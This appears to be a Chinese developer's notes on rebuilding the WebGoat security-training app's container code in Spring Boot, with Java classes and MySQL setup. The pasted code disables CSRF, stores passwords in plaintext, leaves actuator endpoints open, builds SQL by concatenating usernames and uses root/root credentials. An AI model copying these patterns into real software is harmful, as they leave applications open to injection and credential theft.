UsernameMacro package com.wanan.webgoat.container.asciidoc;import com.wanan.webgoat.container.WebGoat;import com.wanan.webgoat.container.users.WebGoatUser;import org.asciidoctor.ast.ContentNode;import org.asciidoctor.extension.InlineMacroProcessor;import org.springframework.security.core.context.SecurityContextHolder;import java.util.Map;public class UsernameMacro extends InlineMacroProcessor { public UsernameMacro (String macroName) {super (macroName);} public UsernameMacro (String macroName, Map<String,Object> config) { super (macroName,config); } @Override public Object process (ContentNode contentNode,String target,Map<String ,Object> attributes) { var auth = SecurityContextHolder.getContext().getAuthentication(); var username = "unknown" ; if (auth.getPrincipal() instanceof WebGoatUser webGoatUser){ username = webGoatUser.getUsername(); } return createPhraseNode(contentNode,"quoted" ,username); } }
i18n PluginMessages package com.wanan.webgoat.container.i18n;import org.springframework.context.support.ReloadableResourceBundleMessageSource;import org.springframework.core.io.support.ResourcePatternResolver;import java.io.IOException;import java.util.Properties;public class PluginMessages extends ReloadableResourceBundleMessageSource { private static final String PROPERTIES_SUFFIX = ".properties" ; private final Language language; private final ResourcePatternResolver resourcePatternResolver; public PluginMessages (Messages messages,Language language,ResourcePatternResolver resourcePatternResolver) { this .language = language; this .setParentMessageSource(messages); this .setBasename("WebGoatLabels" ); this .resourcePatternResolver = resourcePatternResolver; } @Override protected PropertiesHolder refreshProperties (String filename,PropertiesHolder propertiesHolder) { Properties properties = new Properties (); long lastModified = System.currentTimeMillis(); try { var resources = resourcePatternResolver.getResources("classpath:/lessons/**/i18n" + "/WebGoatLabels" +PROPERTIES_SUFFIX); for (var resource : resources){ String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX,"" ); PropertiesHolder holder = super .refreshProperties(sourcePath,propertiesHolder); properties.putAll(holder.getProperties()); } } catch (IOException e) { logger.error("Unable to read plugin message" ,e); } return new PropertiesHolder (properties,lastModified); } public Properties getMessages () {return getMergedProperties(language.getLocale()).getProperties();} public String getMessage (String code,Object... args) {return getMessage(code,args,language.getLocale());} public String getMessage (String code,String defaultValue,Object... args) { return super .getMessage(code,args,defaultValue,language.getLocale()); } }
Language package com.wanan.webgoat.container.i18n;import lombok.AllArgsConstructor;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.LocaleResolver;import java.util.Locale;@AllArgsConstructor public class Language { private final LocaleResolver localeResolver; public Locale getLocale () { return localeResolver.resolveLocale(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); } }
Messages package com.wanan.webgoat.container.i18n;import lombok.AllArgsConstructor;import org.springframework.context.support.ReloadableResourceBundleMessageSource;import java.util.Properties;@AllArgsConstructor public class Messages extends ReloadableResourceBundleMessageSource { private final Language language; public Properties getMessages () {return getMergedProperties(language.getLocale()).getProperties();} public String getMessage (String code,Object... args) {return getMessage(code,args,language.getLocale());} public String getMessage (String code,String defaultValue,Object... args) { return super .getMessage(code,args,defaultValue,language.getLocale()); } }
session LabelDebugger package com.wanan.webgoat.container.session;import java.io.Serializable;public class LabelDebugger implements Serializable { private boolean enabled=false ; public boolean isEnabled () {return enabled;} public void enable () { this .enabled = true ; } public void disable () {this .enabled = false ;} public void setEnabled (boolean enabled) {this .enabled = enabled;} }
启动试一下 报这个错
这里查这个错误 最后还是没找到具体那个依赖出现了问题,这里最终也是排除到了依赖上面出了问题,这里我们就直接使用webgoat的依赖了,其中有一个问题
使用时需要先删除这个日志管理
启动之后这里做了渲染,是自带的吗
其实这是Spring Boot自带的安全自动配置
在日志这里也有密码 用户名是user
测试一下是没有问题的
这里我们是因为还没有配置WebSecurityConfig所以才会这样
container WebSecurityConfig 资料
@Override protected void configure (HttpSecurity http) throws Exception { http.addFilterBefore(validateCodeFilter, UsernamePasswordAuthenticationFilter.class) .addFilterBefore(smsCodeFilter, UsernamePasswordAuthenticationFilter.class) .formLogin() .loginPage("/authentication/require" ) .loginProcessingUrl("/login" ) .successHandler(authenticationSucessHandler) .failureHandler(authenticationFailureHandler) .and() .rememberMe() .tokenRepository(persistentTokenRepository()) .tokenValiditySeconds(3600 ) .userDetailsService(userDetailService) .and() .authorizeRequests() .antMatchers("/authentication/require" , "/login.html" , "/code/image" , "/code/sms" , "/session/invalid" , "/css/*" , "/js/*" , "/login1.html" , "/statics/**" , "/signout/success" ).permitAll() .anyRequest() .authenticated() .and() .sessionManagement() .invalidSessionUrl("/session/invalid" ) .maximumSessions(1 ) .maxSessionsPreventsLogin(true ) .expiredSessionStrategy(mySessionExpiredStrategy) .sessionRegistry(sessionRegistry) .and() .and() .logout() .logoutUrl("/signout" ) .invalidateHttpSession(true ) .deleteCookies("JSESSIONID" ) .logoutSuccessHandler(logOutSuccessHandler) .and() .csrf().disable() .apply(smsAuthenticationConfig);
package com.wanan.webgoat.container;import com.wanan.webgoat.container.users.UserService;import lombok.AllArgsConstructor;import net.sf.cglib.proxy.NoOp;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;import org.springframework.security.authentication.AuthenticationManager;import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;import org.springframework.security.config.annotation.web.builders.HttpSecurity;import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;import org.springframework.security.core.userdetails.UserDetailsService;import org.springframework.security.crypto.password.NoOpPasswordEncoder;@Configuration @AllArgsConstructor @EnableWebSecurity public class WebSecurityConfig extends WebSecurityConfigurerAdapter { private final UserService userDetailsService; @Override protected void configure (HttpSecurity httpSecurity) throws Exception { ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = httpSecurity .authorizeRequests() .antMatchers("/css/**" , "/images/**" , "/js/**" , "fonts/**" , "/plugins/**" , "/registration" , "/register.mvc" , "/actuator/**" ).permitAll() .anyRequest().authenticated(); security.and() .formLogin() .loginPage("/login" ) .defaultSuccessUrl("/welcome.mvc" , true ) .usernameParameter("username" ) .passwordParameter("password" ) .permitAll(); security.and() .logout().deleteCookies("JSESSIONID" ).invalidateHttpSession(true ); security.and().csrf().disable(); httpSecurity.headers().cacheControl().disable(); httpSecurity.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint ("/login" )); } @Autowired public void configureGlobal (AuthenticationManagerBuilder auth) throws Exception{ auth.userDetailsService(userDetailsService); } @Bean @Override public UserDetailsService userDetailsServiceBean () throws Exception{ return userDetailsService; } @Override @Bean protected AuthenticationManager authenticationManager () throws Exception{ return super .authenticationManager(); } @SuppressWarnings("deprecation") @Bean public NoOpPasswordEncoder passwordEncoder () { return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance(); } }
users UserService
package com.wanan.webgoat.container.users;import com.wanan.webgoat.container.lessons.Initializeable;import org.flywaydb.core.Flyway;import lombok.AllArgsConstructor;import org.springframework.jdbc.core.JdbcTemplate;import org.springframework.security.core.userdetails.UserDetailsService;import org.springframework.security.core.userdetails.UsernameNotFoundException;import org.springframework.stereotype.Service;import java.util.List;import java.util.function.Function;@Service @AllArgsConstructor public class UserService implements UserDetailsService { private final UserRepository userRepository; private final UserTrackerRepository userTrackerRepository; private final JdbcTemplate jdbcTemplate; private final Function<String,Flyway> flywayLessons; private final List<Initializeable> lessonInitializables; @Override public WebGoatUser loadUserByUsername (String username) throws UsernameNotFoundException{ WebGoatUser webGoatUser = userRepository.findByUsername(username); if (webGoatUser == null ){ throw new UsernameNotFoundException ("User not found" ); }else { webGoatUser.createUser(); lessonInitializables.forEach(l->l.initialize(webGoatUser)); } return webGoatUser; } public void addUser (String username ,String password) { var userAlreadyExists = userRepository.existsByUsername(username); var webGoatUser = userRepository.save(new WebGoatUser (username,password)); if (!userAlreadyExists){ userTrackerRepository.save(new UserTracker (username)); createLessonsForUser(webGoatUser); } } private void createLessonsForUser (WebGoatUser webGoatUser) { jdbcTemplate.execute("CREATE SCHEMA \"" +webGoatUser.getUsername()+"\" authorization dba" ); flywayLessons.apply(webGoatUser.getUsername()).migrate(); } public List<WebGoatUser> getAllUsers () {return userRepository.findAll();} }
UserRepository package com.wanan.webgoat.container.users;import org.springframework.data.jpa.repository.JpaRepository;import java.util.List;public interface UserRepository extends JpaRepository <WebGoatUser,String> { WebGoatUser findByUsername (String username) ; List<WebGoatUser> findAll () ; boolean existsByUsername (String username) ; }
UserTrackerRepository package com.wanan.webgoat.container.users;import org.springframework.data.jpa.repository.JpaRepository;public interface UserTrackerRepository extends JpaRepository <UserTracker,String> { UserTracker findByUser (String user) ; }
UserTracker package com.wanan.webgoat.container.users;import com.wanan.webgoat.container.lessons.Assignment;import com.wanan.webgoat.container.lessons.Lesson;import lombok.extern.slf4j.Slf4j;import javax.persistence.*;import java.util.HashSet;import java.util.Map;import java.util.Optional;import java.util.Set;import java.util.stream.Collectors;@Slf4j @Entity public class UserTracker { @Id @GeneratedValue private Long id; @Column(name="username") private String user; @OneToMany(cascade = CascadeType.ALL,fetch = FetchType.EAGER) private Set<LessonTracker> lessonTrackers = new HashSet <>(); public UserTracker () { } public UserTracker (final String user) { this .user = user; } public LessonTracker getLessonTracker (Lesson lesson) { Optional<LessonTracker> lessonTracker = lessonTrackers .stream().filter(l->l.getLessonName().equals(lesson.getId())).findFirst(); if (!lessonTracker.isPresent()){ LessonTracker newLessonTracker = new LessonTracker (lesson); lessonTrackers.add(newLessonTracker); return newLessonTracker; }else { return lessonTracker.get(); } } public Optional<LessonTracker> getLessonTracker (String id) { return lessonTrackers.stream().filter(l->l.getLessonName().equals(id)).findFirst(); } public void assignmentSolved (Lesson lesson,String assignmentName) { LessonTracker lessonTracker = getLessonTracker(lesson); lessonTracker.incrementAttempts(); lessonTracker.assignmentSolved(assignmentName); } public void assignmentFailed (Lesson lesson) { LessonTracker lessonTracker= getLessonTracker(lesson); lessonTracker.incrementAttempts(); } public void reset (Lesson al) { LessonTracker lessonTracker = getLessonTracker(al); lessonTracker.reset(); } public int numberOfLessonsSolved () { int numberOfLessonsSolved = 0 ; for (LessonTracker lessonTracker:lessonTrackers){ if (lessonTracker.isLessonSolved()){ numberOfLessonsSolved = numberOfLessonsSolved+1 ; } } return numberOfLessonsSolved; } public int numberOfAssignmentsSolved () { int numberOfAssignmentsSolved = 0 ; for (LessonTracker lessonTracker : lessonTrackers){ Map<Assignment,Boolean> lessonOverview = lessonTracker.getLessonOverview(); numberOfAssignmentsSolved = lessonOverview.values().stream().filter(b->b).collect(Collectors.counting()).intValue(); } return numberOfAssignmentsSolved; } }
LessonTracker package com.wanan.webgoat.container.users;import com.wanan.webgoat.container.lessons.Assignment;import com.wanan.webgoat.container.lessons.Lesson;import lombok.Getter;import javax.persistence.*;import java.util.*;import java.util.stream.Collectors;@Entity public class LessonTracker { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; @Getter private String lessonName; @OneToMany(cascade = CascadeType.ALL,fetch = FetchType.EAGER) private final Set<Assignment> solvedAssignments = new HashSet <>(); @OneToMany(cascade = CascadeType.ALL,fetch = FetchType.EAGER) private final Set<Assignment> allAssignments = new HashSet <>(); @Getter private int numberOfAttempts = 0 ; @Version private Integer version; private LessonTracker () { } public LessonTracker (Lesson lesson) { lessonName = lesson.getId(); allAssignments.addAll(lesson.getAssignments() == null ? List.of() : lesson.getAssignments()); } public Optional<Assignment> getAssignment (String name) { return allAssignments.stream().filter(a->a.getName().equals(name)).findFirst(); } public void assignmentSolved (String solvedAssignment) { getAssignment(solvedAssignment).ifPresent(solvedAssignments::add); } public boolean isLessonSolved () {return allAssignments.size() == solvedAssignments.size();} public void incrementAttempts () { numberOfAttempts++; } void reset () {solvedAssignments.clear();} public Map<Assignment,Boolean> getLessonOverview () { List<Assignment> notSolved = allAssignments.stream() .filter(i-> !solvedAssignments.contains(i)) .toList(); Map<Assignment,Boolean> overview = notSolved.stream().collect(Collectors.toMap(a->a,b->false )); overview.putAll(solvedAssignments.stream().collect(Collectors.toMap(a->a,b->true ))); return overview; } }
AjaxAuthenticationEntryPoint package com.wanan.webgoat.container;import org.springframework.security.core.AuthenticationException;import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;import javax.servlet.ServletException;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint { public AjaxAuthenticationEntryPoint (String loginFormUrl) { super (loginFormUrl); } @Override public void commence (HttpServletRequest request, HttpServletResponse response, AuthenticationException authenticationException) throws IOException, ServletException{ if (request.getHeader("x-requested-with" )!=null ){ response.sendError(401 ,authenticationException.getMessage()); }else { super .commence(request,response,authenticationException); } } }
lessons Initializeable package com.wanan.webgoat.container.lessons;import com.wanan.webgoat.container.users.WebGoatUser;public interface Initializeable { void initialize (WebGoatUser webGoatUser) ; }
DatabaseConfiguration package com.wanan.webgoat.container;import com.wanan.webgoat.container.lessons.LessonScanner;import lombok.RequiredArgsConstructor;import lombok.extern.slf4j.Slf4j;import org.flywaydb.core.Flyway;import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;import org.springframework.context.annotation.Primary;import org.springframework.jdbc.datasource.DriverManagerDataSource;import javax.sql.DataSource;import java.util.Map;import java.util.function.Function;@Configuration @RequiredArgsConstructor @Slf4j public class DatabaseConfiguration { private final DataSourceProperties properties; private final LessonScanner lessonScanner; @Bean @Primary public DataSource dataSource () { DriverManagerDataSource dataSource = new DriverManagerDataSource (); dataSource.setDriverClassName(properties.getDriverClassName()); dataSource.setUrl(properties.getUrl()); dataSource.setUsername(properties.getUsername()); dataSource.setPassword(properties.getPassword()); return dataSource; } @Bean(initMethod = "migrate") public Flyway flyWayContainer () { return Flyway .configure() .configuration(Map.of("driver" ,properties.getDriverClassName())) .dataSource(dataSource()) .schemas("container" ) .locations("db/container" ) .load(); } @Bean public Function<String,Flyway> flywayLessons (LessonDataSource lessonDataSource) { return schema -> Flyway .configure() .configuration(Map.of("driver" ,properties.getDriverClassName())) .schemas(schema) .dataSource(lessonDataSource) .locations("lessons" ) .load(); } @Bean public LessonDataSource lessonDataSource () {return new LessonDataSource (dataSource());} }
LessonDataSource package com.wanan.webgoat.container;import com.wanan.webgoat.container.lessons.LessonConnectionInvocationHandler;import org.springframework.jdbc.datasource.ConnectionProxy;import javax.sql.DataSource;import javax.xml.crypto.Data;import java.io.PrintWriter;import java.lang.reflect.Proxy;import java.sql.Connection;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;public class LessonDataSource implements DataSource { private final DataSource originalDataSource; public LessonDataSource (DataSource dataSource) {this .originalDataSource = dataSource;} @Override public Connection getConnection () throws SQLException { var targetConnection = originalDataSource.getConnection(); return (Connection) Proxy.newProxyInstance( ConnectionProxy.class.getClassLoader(), new Class []{ConnectionProxy.class}, new LessonConnectionInvocationHandler (targetConnection)); } @Override public Connection getConnection (String username, String password) throws SQLException { return originalDataSource.getConnection(username,password); } @Override public PrintWriter getLogWriter () throws SQLException { return originalDataSource.getLogWriter(); } @Override public void setLogWriter (PrintWriter out) throws SQLException { originalDataSource.setLogWriter(out); } @Override public void setLoginTimeout (int seconds) throws SQLException { originalDataSource.setLoginTimeout(seconds); } @Override public int getLoginTimeout () throws SQLException { return originalDataSource.getLoginTimeout(); } @Override public Logger getParentLogger () throws SQLFeatureNotSupportedException { return originalDataSource.getParentLogger(); } @Override public <T> T unwrap (Class<T> iface) throws SQLException { return originalDataSource.unwrap(iface); } @Override public boolean isWrapperFor (Class<?> iface) throws SQLException { return originalDataSource.isWrapperFor(iface); } }
lessons LessonConnectionInvocationHandler package com.wanan.webgoat.container.lessons;import com.wanan.webgoat.container.users.WebGoatUser;import lombok.extern.slf4j.Slf4j;import org.springframework.security.core.context.SecurityContextHolder;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.sql.Connection;@Slf4j public class LessonConnectionInvocationHandler implements InvocationHandler { private final Connection targetConnection; public LessonConnectionInvocationHandler (Connection targetConnection) { this .targetConnection = targetConnection; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { var authentication = SecurityContextHolder.getContext().getAuthentication(); if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser user){ try (var statement = targetConnection.createStatement()){ statement.execute("SET SCHEMA \"" + user.getUsername() + "\"" ); } } try { return method.invoke(targetConnection,args); }catch (InvocationTargetException e){ throw e.getTargetException(); } } }
启动一下 主要db下的目录要进行更改,并复制一个sql文件过来,否则无法正常启动
更改数据库为mysql 我实在是没搞懂这个hsqldb是咋访问的 我们先更改webgoat项目
添加依赖
<dependency > <groupId > mysql</groupId > <artifactId > mysql-connector-java</artifactId > <version > 8.0.17</version > </dependency >
创建数据库
修改properties文件
spring.datasource.url =jdbc:mysql://localhost:3306/webgoat?serverTimezone=GMT%2B8&characterEncoding=utf8&useSSL=true spring.datasource.username =root spring.datasource.password =root spring.datasource.driver-class-name =com.mysql.jdbc.Driver
一看这三个肯定都是要更改的
spring.jpa.database-platform =org.hibernate.dialect.MySQL5Dialect spring.datasource.url =jdbc:mysql://localhost:3306/webgoat?serverTimezone=GMT%2B8&characterEncoding=utf8&useSSL=true spring.datasource.username =root spring.datasource.password =root spring.datasource.driver-class-name =com.mysql.jdbc.Driver
这样启动会爆第一个错误 大概意思是sql语法错误,说明前后我们使用的数据库不同
我们先删除这个两个sql文件 备份哦
很明显这样启动也不会有好结果,这是因为我们数据库里并没有这些表
那么我们现在需要去手动添加上这些表
有关联关系 你不会不会执行吧?
发现注册的时候报错了
但是用户注册上了
server StartWebGoat package com.wanan.webgoat.server;import lombok.NoArgsConstructor;import lombok.extern.slf4j.Slf4j;import org.hsqldb.lib.StringUtil;import org.springframework.boot.context.event.ApplicationReadyEvent;import org.springframework.context.event.ContextStoppedEvent;import org.springframework.context.event.EventListener;import org.springframework.stereotype.Component;import org.springframework.util.StringUtils;@Component @Slf4j @NoArgsConstructor public class StartupMessage { private String port; private String address; @EventListener void onStartup (ApplicationReadyEvent event) { if (StringUtils.hasText(port) && !StringUtils.hasText(System.getProperty("running.in.docker" ))){ log.info("Please browse to http://{}:{}/WebGoat to get started..." ,address,port); } if (event.getApplicationContext().getApplicationName().contains("WebGoat" )){ port = event.getApplicationContext().getEnvironment().getProperty("server.port" ); address = event.getApplicationContext().getEnvironment().getProperty("server.address" ); } } @EventListener void onShutdown (ContextStoppedEvent event) { } }
container HammerHead package com.wanan.webgoat.container;import com.wanan.webgoat.container.session.Course;import lombok.AllArgsConstructor;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.servlet.ModelAndView;@Controller @AllArgsConstructor public class HammerHead { private final Course course; @RequestMapping(path = "/attack",method = {RequestMethod.GET,RequestMethod.POST}) public ModelAndView attack () { return new ModelAndView ("redirect:" +"start.mvc" + course.getFirstLesson().getLink()); } }
session Course package com.wanan.webgoat.container.session;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import lombok.extern.slf4j.Slf4j;import java.util.List;@Slf4j public class Course { private List<Lesson> lessons; public Course (List<Lesson> lessons) { this .lessons = lessons; } public List<Category> getCategories () { return lessons.parallelStream().map(Lesson::getCategory).distinct().sorted().toList(); } public Lesson getFirstLesson () { return getLessons(getCategories().get(0 )).get(0 ); } public List<Lesson> getLessons () { return this .lessons; } public List<Lesson> getLessons (Category category) { return this .lessons.stream().filter(l->l.getCategory() == category).toList(); } public void setLessons (List<Lesson> lessons) { this .lessons = lessons; } public int getTotalOfLessons () { return this .lessons.size(); } public int getTotalOfAssignments () { return this .lessons.stream().reduce(0 ,(total,lessons) -> lessons.getAssignments().size() + total,Integer::sum); } }
assignments AssignmentHints package com.wanan.webgoat.container.assignments;import java.lang.annotation.ElementType;import java.lang.annotation.Retention;import java.lang.annotation.RetentionPolicy;import java.lang.annotation.Target;@Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) public @interface AssignmentHints { String[] value() default {}; }
AssignmentPath package com.wanan.webgoat.container.assignments;import org.springframework.web.bind.annotation.RequestMethod;import java.lang.annotation.ElementType;import java.lang.annotation.Retention;import java.lang.annotation.RetentionPolicy;import java.lang.annotation.Target;@Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) public @interface AssignmentPath { String[] path() default {}; RequestMethod[] method() default {}; String value () default "" ; }
AssignmentEndpoint AttackResult package com.wanan.webgoat.container.assignments;import com.wanan.webgoat.container.i18n.PluginMessages;import lombok.Getter;import static org.apache.commons.text.StringEscapeUtils.escapeJson;public class AttackResult { public static class AttackResultBuilder { private boolean lessonCompleted; private PluginMessages messages; private Object[] feedbackArgs; private String feedbackResourceBundleKey; private String output; private Object[] outputArgs; private AssignmentEndpoint assignment; private boolean attemptWasMade = false ; public AttackResultBuilder (PluginMessages messages) { this .messages = messages; } public AttackResultBuilder lessonCompleted (boolean lessonCompleted) { this .lessonCompleted = lessonCompleted; this .feedbackResourceBundleKey = "lesson.completed" ; return this ; } public AttackResultBuilder leslessonCompleted (boolean lessonCompleted,String resourceBundleKey) { this .lessonCompleted = lessonCompleted; this .feedbackResourceBundleKey = resourceBundleKey; return this ; } public AttackResultBuilder feedbackArgs (Object... args) { this .feedbackArgs = args; return this ; } public AttackResultBuilder feedback (String resourceBundleKey) { this .feedbackResourceBundleKey = resourceBundleKey; return this ; } public AttackResultBuilder output (String output) { this .output = output; return this ; } public AttackResultBuilder outputArgs (Object... args) { this .outputArgs = args; return this ; } public AttackResultBuilder attemptWasMade () { this .attemptWasMade = true ; return this ; } public AttackResult build () { return new AttackResult (lessonCompleted, messages.getMessage(feedbackResourceBundleKey, feedbackArgs), messages.getMessage(output, output, outputArgs), assignment.getClass().getSimpleName(), attemptWasMade); } public AttackResultBuilder assignment (AssignmentEndpoint assignment) { this .assignment = assignment; return this ; } } @Getter private boolean lessonCompleted; @Getter private String feedback; @Getter private String output; @Getter private final String assignment; @Getter private boolean attemptWasMade; public AttackResult (boolean lessonCompleted,String feedback, String output,String assignment,boolean attemptWasMade) { this .lessonCompleted = lessonCompleted; this .feedback = escapeJson(feedback); this .output = escapeJson(output); this .assignment = assignment; this .attemptWasMade = attemptWasMade; } public static AttackResultBuilder builder (PluginMessages messages) { return new AttackResultBuilder (messages); } public boolean assignmentSolved () { return lessonCompleted; } }
LessonTrackerInterceptor package com.wanan.webgoat.container.assignments;import com.wanan.webgoat.container.session.WebSession;import com.wanan.webgoat.container.users.UserTracker;import com.wanan.webgoat.container.users.UserTrackerRepository;import org.springframework.core.MethodParameter;import org.springframework.http.MediaType;import org.springframework.http.converter.HttpMessageConverter;import org.springframework.http.server.ServerHttpRequest;import org.springframework.http.server.ServerHttpResponse;import org.springframework.web.bind.annotation.RestControllerAdvice;import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice;@RestControllerAdvice public class LessonTrackerInterceptor implements ResponseBodyAdvice <Object> { private UserTrackerRepository userTrackerRepository; private WebSession webSession; public LessonTrackerInterceptor (UserTrackerRepository userTrackerRepository,WebSession webSession) { this .userTrackerRepository = userTrackerRepository; this .webSession = webSession; } @Override public boolean supports (MethodParameter methodParameter, Class<? extends HttpMessageConverter<?>> clazz) { return true ; } @Override public Object beforeBodyWrite (Object o, MethodParameter methodParameter, MediaType mediaType, Class<? extends HttpMessageConverter<?>> aClass, ServerHttpRequest serverHttpRequest, ServerHttpResponse serverHttpResponse) { if (o instanceof AttackResult attackResult){ trackProgress(attackResult); } return o; } protected AttackResult trackProgress (AttackResult attackResult) { UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); if (userTracker == null ){ userTracker = new UserTracker (webSession.getUserName()); } if (attackResult.assignmentSolved()){ userTracker.assignmentSolved(webSession.getCurrentLesson(),attackResult.getAssignment()); }else { userTracker.assignmentFailed(webSession.getCurrentLesson()); } userTrackerRepository.saveAndFlush(userTracker); return attackResult; } }
controller Welcome package com.wanan.webgoat.container.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.servlet.ModelAndView;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpSession;@Controller public class Welcome { private static final String WELCOMED = "welcomed" ; @GetMapping(path = {"welcome.mvc"}) public ModelAndView welcome (HttpServletRequest request) { HttpSession session = request.getSession(); if (session.getAttribute(WELCOMED) == null ){ session.setAttribute(WELCOMED,"true" ); } ModelAndView model = new ModelAndView (); model.setViewName("forward:/attack?start=true" ); return model; } }
StartLesson package com.wanan.webgoat.container.controller;import com.wanan.webgoat.container.session.Course;import com.wanan.webgoat.container.session.WebSession;import org.springframework.beans.factory.annotation.Qualifier;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.servlet.ModelAndView;import javax.servlet.http.HttpServletRequest;@Controller public class StartLesson { private final WebSession ws; private final Course course; public StartLesson (WebSession ws,Course course) { this .ws = ws; this .course = course; } @RequestMapping(path = "startlesson.mvc",method = {RequestMethod.GET,RequestMethod.POST}) public ModelAndView start () { var model = new ModelAndView (); model.addObject("course" ,course); model.addObject("lesson" ,ws.getCurrentLesson()); model.setViewName("lesson_content" ); return model; } @RequestMapping(value = {"*.lesson"},produces = "text/html") public ModelAndView lessonPage (HttpServletRequest request) { var model = new ModelAndView ("lesson_content" ); var path = request.getRequestURI().toString(); var lessonName = path.substring(path.lastIndexOf('/' )+1 ,path.indexOf(".lesson" )); course.getLessons() .stream() .filter(l->l.getId().equals(lessonName)) .findFirst() .ifPresent(lesson -> { ws.setCurrentLesson(lesson); model.addObject("lesson" ,lesson); }); return model; } }
lessons CourseConfiguration package com.wanan.webgoat.container.lessons;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.Course;import lombok.extern.slf4j.Slf4j;import org.apache.commons.lang3.ArrayUtils;import org.hsqldb.lib.ArrayUtil;import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;import org.springframework.util.CollectionUtils;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.PutMapping;import org.springframework.web.bind.annotation.RequestMapping;import java.lang.reflect.Method;import java.lang.reflect.ParameterizedType;import java.util.*;import static java.util.stream.Collectors.groupingBy;@Slf4j @Configuration public class CourseConfiguration { private final List<Lesson> lessons; private final List<AssignmentEndpoint> assignment; private final Map<String,List<AssignmentEndpoint>> assignmentsByPackage; public CourseConfiguration (List<Lesson> lessons, List<AssignmentEndpoint> assignment) { this .lessons = lessons; this .assignment = assignment; assignmentsByPackage = this .assignment.stream().collect(groupingBy(a ->a.getClass().getPackageName())); } @Bean public Course course () { lessons.stream().forEach(l->l.setAssignments(createAssignment(l))); return new Course (lessons); } private List<Assignment> createAssignment (Lesson lesson) { var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName()); if (CollectionUtils.isEmpty(endpoints)){ log.warn("Lesson:{} hax no endpoints, is this intentionally?" ,lesson.getTitle()); return new ArrayList <>(); } return endpoints.stream() .map(e->new Assignment (e.getClass().getSimpleName(),getPath(e.getClass()),getHints(e.getClass()))) .toList(); } private String getPath (Class<? extends AssignmentEndpoint> e) { for (Method m : e.getMethods()){ if (methodReturnTypeIsOfTypeAttackResult(m)){ var mapping = getMapping(m); if (mapping != null ){ return mapping; } } } throw new IllegalStateException ("Assignment endpoint: " + e + " has no mapping like @GetMapping/@PostMapping etc," + "with return type 'AttackResult' or 'ResponseEntity<AttackResult>' please consider adding one" ); } private boolean methodReturnTypeIsOfTypeAttackResult (Method m ) { if (m.getReturnType() == AttackResult.class){ return true ; } var genericType = m.getGenericReturnType(); if (genericType instanceof ParameterizedType){ return ((ParameterizedType) m.getGenericReturnType()).getActualTypeArguments()[0 ] == AttackResult.class; } return false ; } private String getMapping (Method m) { String[] paths = null ; if (m.getAnnotation(RequestMapping.class)!= null ){ paths = ArrayUtils.addAll(m.getAnnotation(RequestMapping.class).value(),m.getAnnotation(RequestMapping.class).path()); } else if (m.getAnnotation(PostMapping.class) != null ) { paths = ArrayUtils.addAll(m.getAnnotation(PostMapping.class).value(), m.getAnnotation(PostMapping.class).path()); } else if (m.getAnnotation(GetMapping.class) != null ) { paths = ArrayUtils.addAll(m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path()); } else if (m.getAnnotation(PutMapping.class) != null ) { paths = ArrayUtils.addAll(m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path()); } if (paths == null ){ return null ; }else { return Arrays.stream(paths).filter(path -> !"" .equals(path) ).findFirst().orElse("" ); } } private List<String > getHints(Class<? extends AssignmentEndpoint > e){ if (e.isAnnotationPresent(AssignmentHints.class)){ return List.of(e.getAnnotationsByType(AssignmentHints.class)[0 ].value()); } return Collections.emptyList(); } }
Hint package com.wanan.webgoat.container.lessons;import lombok.Value;@Value public class Hint { private String hint; private String assignmentPath; }
LessonInfoModel package com.wanan.webgoat.container.lessons;import lombok.AllArgsConstructor;import lombok.Getter;@Getter @AllArgsConstructor public class LessonInfoModel { private String lessonTitle; private boolean hasSource; private boolean hasSolution; private boolean hasPlan; }
